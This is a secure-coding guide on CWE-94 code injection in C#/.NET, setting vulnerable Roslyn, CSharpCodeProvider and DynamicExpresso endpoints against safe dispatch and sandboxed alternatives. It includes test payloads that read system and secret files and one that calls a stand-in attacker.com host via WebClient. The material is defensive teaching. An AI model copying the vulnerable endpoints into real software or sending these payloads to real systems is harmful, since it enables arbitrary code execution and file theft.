Skip to content

CWE-94: Code Injection - C# / .NET

Overview

Code Injection in C# occurs when untrusted input is compiled and executed as .NET code at runtime. This typically involves the Roslyn compiler API (CSharpCodeProvider, CSharpCompilation), the Microsoft.CSharp.RuntimeBinder, or dynamic expression evaluators like NCalc and DynamicExpresso without input restrictions. The Roslyn approach is especially dangerous: it compiles and loads a full .NET assembly, giving an attacker unrestricted access to the file system, network, and reflection APIs within the running process.

Unlike other injection vulnerabilities, code injection in C# does not require OS-level access - an attacker can abuse the .NET runtime directly, calling System.IO.File.Delete(), opening sockets, or spawning processes entirely within managed code.

Primary Defence: Replace dynamic compilation with static dispatch logic (dictionaries of delegates, strategy interfaces). If a configurable expression language is unavoidable, use a purpose-built sandboxed evaluator with an explicit allowlist of permitted types.

Common Vulnerable Patterns

Roslyn Runtime Compilation

using Microsoft.CodeAnalysis.CSharp;
using Microsoft.CodeAnalysis;
using System.Reflection;

[HttpPost("execute")]
public IActionResult Execute([FromBody] string code)
{
    // VULNERABLE - compiles and runs arbitrary C# submitted by the user
    var syntaxTree = CSharpSyntaxTree.ParseText(code);
    var compilation = CSharpCompilation.Create("Dynamic",
        new[] { syntaxTree },
        new[] { MetadataReference.CreateFromFile(typeof(object).Assembly.Location) },
        new CSharpCompilationOptions(OutputKind.DynamicallyLinkedLibrary));

    using var ms = new MemoryStream();
    compilation.Emit(ms);
    ms.Seek(0, SeekOrigin.Begin);
    var assembly = Assembly.Load(ms.ToArray());
    var type = assembly.GetType("DynamicClass");
    var method = type?.GetMethod("Run");
    return Ok(method?.Invoke(null, null));
}

Why this is vulnerable:

  • CSharpCompilation and Assembly.Load() give the attacker a full .NET assembly. The code runs with the same permissions as the web application.
  • An attacker can call System.IO.File.Delete(), System.Net.WebClient, or System.Diagnostics.Process.Start().

CSharpCodeProvider (Legacy .NET Framework)

using System.CodeDom.Compiler;
using Microsoft.CSharp;

public object RunUserCode(string userExpression)
{
    var provider = new CSharpCodeProvider();
    var parameters = new CompilerParameters { GenerateInMemory = true };
    // VULNERABLE - userExpression can contain any C# code
    var source = $"public class D {{ public static object R() {{ return {userExpression}; }} }}";
    var results = provider.CompileAssemblyFromSource(parameters, source);
    return results.CompiledAssembly.GetType("D")
        .GetMethod("R").Invoke(null, null);
}

Why this is vulnerable:

  • String interpolation embeds user input directly into C# source. System.IO.File.ReadAllText("/etc/passwd") is a valid C# expression.

DynamicExpresso Without Type Restrictions

using DynamicExpresso;

[HttpGet("formula")]
public double EvaluateFormula([FromQuery] string formula, [FromQuery] double x)
{
    var interpreter = new Interpreter(); // no restrictions
    // VULNERABLE - interpreter has default access to .NET types via T()
    return interpreter.Eval<double>(formula, new Parameter("x", x));
}

Why this is vulnerable:

  • By default, DynamicExpresso.Interpreter allows type access. An attacker can call typeof(System.IO.File).GetMethod("ReadAllText").Invoke(null, new[]{ "C:\\secrets.txt" }).

Secure Patterns

using System.Collections.Generic;

[ApiController]
[Route("api/[controller]")]
public class CalculatorController : ControllerBase
{
    // SECURE: predefined delegates - no runtime compilation
    private static readonly Dictionary<string, Func<double, double>> _ops = new()
    {
        ["double"] = x => x * 2,
        ["square"] = x => x * x,
        ["negate"] = x => -x,
        ["sqrt"]   = Math.Sqrt,
    };

    [HttpGet]
    public IActionResult Calculate([FromQuery] string operation, [FromQuery] double value)
    {
        if (!_ops.TryGetValue(operation, out var op))
            return BadRequest($"Unknown operation: {operation}");
        return Ok(op(value));
    }
}

Why this works:

  • The dictionary maps user-controlled strings to pre-compiled lambdas. The user can never supply new code - only a key that selects from the fixed set.
  • Unknown keys are rejected before any computation. There is no eval path.

Strategy Interface Pattern

public interface IRule
{
    decimal Apply(decimal price, int quantity);
}

[Component] public class BulkDiscount : IRule
{
    public decimal Apply(decimal price, int quantity) =>
        quantity > 10 ? price * 0.9m : price;
}

[Component] public class LoyaltyDiscount : IRule
{
    public decimal Apply(decimal price, int quantity) => price * 0.95m;
}

// Service resolves by name from DI container
public class PricingService
{
    private readonly IReadOnlyDictionary<string, IRule> _rules;

    public PricingService(IEnumerable<IRule> rules)
    {
        _rules = rules.ToDictionary(r => r.GetType().Name.ToLowerInvariant());
    }

    // SECURE: user picks a name; logic is always compiled .NET code
    public decimal ApplyRule(string ruleName, decimal price, int quantity)
    {
        if (!_rules.TryGetValue(ruleName, out var rule))
            throw new ArgumentException($"Unknown rule: {ruleName}");
        return rule.Apply(price, quantity);
    }
}

Why this works:

  • Concrete rule classes are defined at compile time and registered in DI. User input navigates to a class, never creates one.

DynamicExpresso with Locked-Down Scope (When Scripting is Required)

using DynamicExpresso;

public class SafeFormulaEvaluator
{
    private readonly Interpreter _interpreter;

    public SafeFormulaEvaluator()
    {
        // SECURE: disable default type access, register only safe identifiers
        _interpreter = new Interpreter(InterpreterOptions.Default)
            .DisableReflection();

        // Do NOT call .Reference(typeof(System.IO.File)) or similar
        // Register only safe math functions if needed
        _interpreter.SetFunction("sqrt", (Func<double, double>)Math.Sqrt);
        _interpreter.SetFunction("abs",  (Func<double, double>)Math.Abs);
    }

    public double Evaluate(string formula, double x)
    {
        if (formula is null || formula.Length > 200)
            throw new ArgumentException("Formula invalid or too long");
        return _interpreter.Eval<double>(formula, new Parameter("x", typeof(double), x));
    }
}

Why this works:

  • DisableReflection() blocks typeof() calls, GetMethod(), and assembly access. The interpreter can only reference explicitly registered variables and functions.

Remediation Steps

Locate the Finding

  • Source: User-controlled input - [FromBody], [FromQuery], form fields, config values read from user-editable stores
  • Sink: CSharpCodeProvider.CompileAssemblyFromSource(), CSharpCompilation.Create(), Assembly.Load() with user data, Interpreter.Eval() without DisableReflection()

Apply the Fix

  • PRIORITY 1: Remove dynamic compilation entirely. Use a Dictionary<string, Func<>> dispatch table or strategy interface.
  • PRIORITY 2: If an expression evaluator is a product requirement, use DynamicExpresso.Interpreter with DisableReflection() and register only explicitly safe functions.
  • PRIORITY 3: Validate all input against a strict allowlist (regex or an expression parser) before passing to any evaluator.

Verify the Fix

  • Submit System.IO.File.ReadAllText("C:\\Windows\\System.ini") as an expression and confirm rejection
  • Submit new System.Net.WebClient().DownloadString("http://attacker.com") and confirm rejection
  • Rescan with the security scanner to confirm the finding is resolved

Check for Similar Issues

Search for: CSharpCodeProvider, CSharpCompilation, Assembly.Load, DynamicExpresso, NCalc, Roslyn, CompileAssemblyFromSource

Testing

  • Normal input: run every supported operation or expression that should remain available after replacing dynamic compilation.
  • Boundary input: test unknown operation names, long expressions, nested expressions, and invalid syntax for predictable rejection.
  • Malicious input: submit file, network, reflection, process, and type-construction payloads; confirm they cannot reach compilation or evaluation sinks.

Additional Resources